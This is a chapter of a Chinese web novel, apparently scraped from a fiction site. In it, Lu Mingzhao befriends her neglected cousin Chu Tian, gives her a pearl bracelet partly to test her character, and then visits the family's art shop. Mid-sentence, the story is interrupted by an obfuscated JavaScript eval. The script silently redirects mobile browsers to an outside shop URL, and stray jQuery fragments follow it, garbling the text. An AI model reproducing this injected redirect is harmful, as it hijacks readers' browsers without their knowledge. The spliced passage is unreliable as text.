文趣网 > 其他小说 > 昭昭如愿 > 13. 表姐
    自从鹿明昭对着账本表示出浓厚的兴趣,鹿云初开始手把手教她如何看账本,一连七天,鹿明昭进步飞快,已经能自主打着算盘盘数。

    七天过后,脸色灰败的鹿云笺从祠堂走出。

    青鸾扶着她上了楚家的马车,她的女儿楚恬也在车内,少女软软地唤了一声‘母亲’,鹿云笺一点好脸色也没给,将一股子恼气发泄在她身上。

    “小家子气,唯唯诺诺的,怎么堪当继承候选人!别让我看见你这蠢样子,给我滚下去!”

    “母亲!”楚恬被鹿云笺连打带骂撵下车架,正梨花带雨地哭着。

    “咱们走!”车夫虽不忍心,但还是听从了夫人的命令,就这样不管楚恬的死活,架着车扬长而去。

    楚恬收到了鹿家的传信,父亲嫌丢脸不肯自己去接,转头便到小妾的屋里享受温柔小意,而自己却孤身一人来此,却被撵了下来。

    鹿明昭拿着母亲给的赏钱正要出去闲逛,却看见手足无措的少女站在门口,眼眶微红,帕子将鼻尖揉了揉,想来是在哭。

    青荷眼尖,一眼便看出是表小姐,戳了戳鹿明昭的肩膀,道:“小姐,这不是表姑娘吗?”

    鹿明昭向少女望去,少女一袭青衫亭亭玉立,她打量着这位表姑娘的时候被她抓了个正着。她虽羞怯,但仍然远远向她行平辈之礼,这下倒是让鹿明昭有些好感。

    鹿明昭主动走过去,满是关切问道:“表姐是来接姨母的吗?”

    “嗯。”楚恬情绪不高,小声应着。

    “我让青荷去告知姨母一声。”青荷脚还没迈出去就被楚恬叫住。

    “不用了。”她张了张嘴,最后咬着下嘴唇,苦涩道:“母亲已经回去了。”

    楚恬瞥过头去不敢看她,怕她嘲笑自己被母亲赶下车。

    尖酸的话并没有听见,她将头转过来一些,只见鹿明昭恍然大悟道:“既然这样,我刚好出门,顺路送你一下呗。”

    楚恬被惊得说不出话来,凭她也知晓母亲与她们的关系并不好,但她却提出要帮自己。

    她脑袋转不过弯来,就这样迷迷糊糊地被带上了车。

    第一次出门的鹿明昭对外面的一切都感到稀奇得很,江南女子多温婉,和北方不同的是,江南很少有女子戴幕篱出门。

    青荷坐在她身边,像个小百事通一样介绍着各类酒楼、小吃店、还有江南贵女们爱聚会的地方,一路上两人聊得开心得不行。

    楚恬看着鹿明昭明艳的笑容,自己也不由自主地开心了起来。

    “表姐,江南贵女的聚会,你经常参加吗?”

    嘴角边的笑还尚未消失,便被对面两人看了个实在,她下意识舔了下唇,缓解尴尬并回道:“经常的。”

    “那好玩吗?”

    她也不知道该说好玩还是不好玩。贵女们的聚会不就是精进自己的一技之长然后互相攀比,再接着获得的美名替自己找一门好的婚事罢了。

    她中规中矩回道:“若是表妹感兴趣,五日后的赏画宴,我带你去可好?”

    “好啊,好啊,谢谢表姐。”

    鹿明昭别的可能一窍不通,但是赏画她可是行家。以前她的书房上挂着的哪一副不是名家之作,都是裴煜搜罗过来给她临摹的。

    鹿明昭就这样赖着人家带着自己去,怪不好意思的。她将左手戴着一串圆润的珍珠手链褪下来,一把将对面楚恬的手拉了过来放到手中。

    楚恬惊愕道:“表妹,你这是做什么?”

    鹿明昭有些讨好道:“表姐,这是我的一点心意,不能白白让你帮我这个忙。”

    楚恬将手反压,手链被她按了回去,她正色道:“不过是一件小事,表妹不用如此破费,反正我们也是...”楚恬脸色惊变,一家人这三个字迟迟没说出,她和他算得上什么一家人。

    “表姐莫要推辞,拿着便是。你若是不拿,便没把表妹当一家人看。其实我也有私心,我和表姐不常见,这算是我给表姐的生辰礼可好?”

    手链被留在手心,楚恬摩挲着手链,她今年的生辰早就已经过了,但她今年也算是收到了礼物。

    “那就谢谢表妹了。”

    鹿明昭见她收下,赶紧拿过手链替她戴上,少女白皙的双手配上这串雪白珠子,衬得人更加娇俏。

    “小姐,楚家到了。”马夫的声音从帘外传出,鹿明昭打帘一瞧,楚家巍峨的牌匾正挂在漆红的双开鎏金大门上,两只威风凛凛的石狮子坐落在大门两边。

    楚恬起身告辞,她站在路边直至鹿明昭的车架消失在眼前,随后才朝着侧门的方向去。

    青荷不明白自己小姐为何要对表小姐如此客气,明明她的母亲想方设法要害小姐,小姐却还把前几日新得的珍珠手链送给她。

    青荷这样想着,话也说出了口:“小姐,您未免对表小姐也太好了吧?”

    “怎么?你吃醋了?”

    “才不是呢!”青荷想说又说不出个所以然来,鹿明昭不再逗她,而是说出为什么会对楚恬这样好。

    “我问你,我的这位表姐对我做过什么不好的事情吗?”

    楚恬与鹿明昭除了拜年走动时匆匆见过几面,因着两家大人的恩怨,两人根本算不上能玩在一起的玩伴。

    “不曾。”青荷摇头。

    “姨母能将亲生女儿随意丢在路边,可见表姐在家的处境算不上很好。”鹿明昭垂眼低低说着,“表姐除了发间的那只蝴蝶银簪和那对圆珠玉耳环外,你可还见到过其他首饰。”

    鹿明昭随意摇了摇自己手上的首饰,左手上一只烟紫飘花的玉镯,右手是三环赤金手镯,更别说发间的钗环也都是宝来阁定制的稀罕物。

    鹿家富足,就连旁支的子嗣每年都有几样当下时兴的物件,更别说鹿家本家,只要孩子喜欢,不拘什么价钱,只要想要就能拥有。

    青荷仔细回想起来,表小姐的衣服也是前年的样式了。

    鹿明昭见她明白过来,接着道:“家族兴盛,最要紧的是家族和睦,所谓家和万事兴,姨母自己拎不清,我们也别照猫画虎断了自己的前路。做人留一线,日后好相见,若她是个好的,也算有了交情。

    若是...她不中用,用金玉之物便能试出来总比日后出事划算多了。”

    她答应去赏画也不全然是为了去玩,借此试探一下楚恬的品行,多了解江南各家的关系,心中有了把握,也不怕日后着了别人的道。

    青荷这才恍然大悟,几句谈话间的门道竟有这么多。她甘拜下风道:“还是小姐想的周到些。”

    鹿明昭笑而不语。她只是记得那人的话,人总不会是一见如故的,当你觉得与别人一见如故时,说不定已经被别人了解透彻。

    既然要去参加宴会,她得挑几幅画为登门礼物。

    “青荷,哪

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883586|212021||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里的墨宝最好?”

    青荷一脸自豪道:“自然是自家的墨渊阁。江南的所有笔墨纸砚和绘画颜料这儿是最全的,若是连墨渊阁都买不到好的,江南附近也没有比它更好的了。”鹿明昭错愕,她竟没想到鹿家也会对此有所涉猎。

    鹿明昭笑着回应:“好,那就去墨渊阁。”

    青荷扬声喊道:“六叔,去墨渊阁。”

    “好嘞!”六叔马鞭一扬,抽在马的后臀上,马鸣了几声便加快速度去了墨渊阁。

    —

    一个鬼鬼祟祟的身影正沿着楚家侧门渐渐走近,楚恬像往日一样轻车熟路地闪了进去,刚推着门关上,一声‘小姐’吓得楚恬直抚胸口。

    青鸾在身后轻轻回道:“小姐,小少爷找不到您正在房里哭闹着,夫人和乳母哄了半天也不见好,夫人让您赶紧去小少爷房里。”

    “知道了。”楚恬双手交叠,一道白色的光晃了青鸾的眼,待她想看仔细时,楚恬已将东西死死捂在了袖子里。

    楚恬淡淡看着她,道:“请姐姐带路。”就在青鸾转身的时候,楚恬将双手藏在身后,悄悄将手腕上的东西褪了下来。

    —

    墨渊阁坐落在东边,因四周全是学堂,这条路又称状元路。知府特意在此定了一条规矩:凡过路者,不能大声喧哗,也不可坐车驾马,上至官员,下至百姓,皆不能破此规矩。

    六叔只得将马车停在路口,鹿明昭带着青荷向这状元路一直走。现下还未放学,学堂里的朗朗读书声传入耳朵,越往里走,读书的声音从稚嫩慢慢变成了成熟,直到听不见读书声时,独立于闹市的墨渊阁赫然在眼前。

    一进门便有人上前关切询问:“小姐想买些什么?咱们这只要你想要的没有买不到的,若小姐不满意,咱这还能定制。”

    鹿明昭本想说只是来看看,青荷便拉着那人到一边去。

    “这是咱家小姐,叫掌柜的亲自来接。”

    那人朝鹿明昭狐疑看了一眼,鹿明昭无奈地笑笑,那人应了声‘是’便跑到后院去。

    鹿明昭抬头一看,这楼竟然是个圆形且建了六层之高,前三层走廊未有遮挡尚可看清,再往上三层皆隔了起来,人在下面是瞧不出门道的。

    一位留着小山羊胡的瘦小男子匆匆赶来,他笑着迎接鹿明昭:“听说是本家的人来了,不知小姐可有凭证?”显然这位掌柜的并不认得鹿家的小姐长什么样。

    鹿明昭抬起手朝自己的身上看了又看,今日走得急,能证明身份的物件也没有。尽管如此那掌柜的依然好气道:“小人今日才得了提拔,也没见过本家的小姐长什么样。这样,你们还认得阁里哪些人?”

    蔡源看着这位小姐通身的东西价值不菲,也不敢轻易得罪,只敢找个万全的法子。

    鹿明昭记不得事,哪里知道要找谁。青荷将话接过,表达着不满:“那我们找你们东家池暖,暖姨,行了吧?”

    墨渊阁的东家鲜少露面,除了每七天一次的拍卖日那天,她基本不在阁里。能知道东家名讳之人,必定与东家的交情匪浅。幸而今日是拍卖日,东家就在后院的厢房里歇息,蔡源打发了跑堂的人前去禀报,自己则是亲自接待。

    “小姐少安毋躁,小的若有不周到地方,还请小姐饶恕。东家稍后就来,我陪小姐走走看看。”

    鹿明昭安抚青荷后,回以礼貌的笑容:“麻烦掌柜的了。”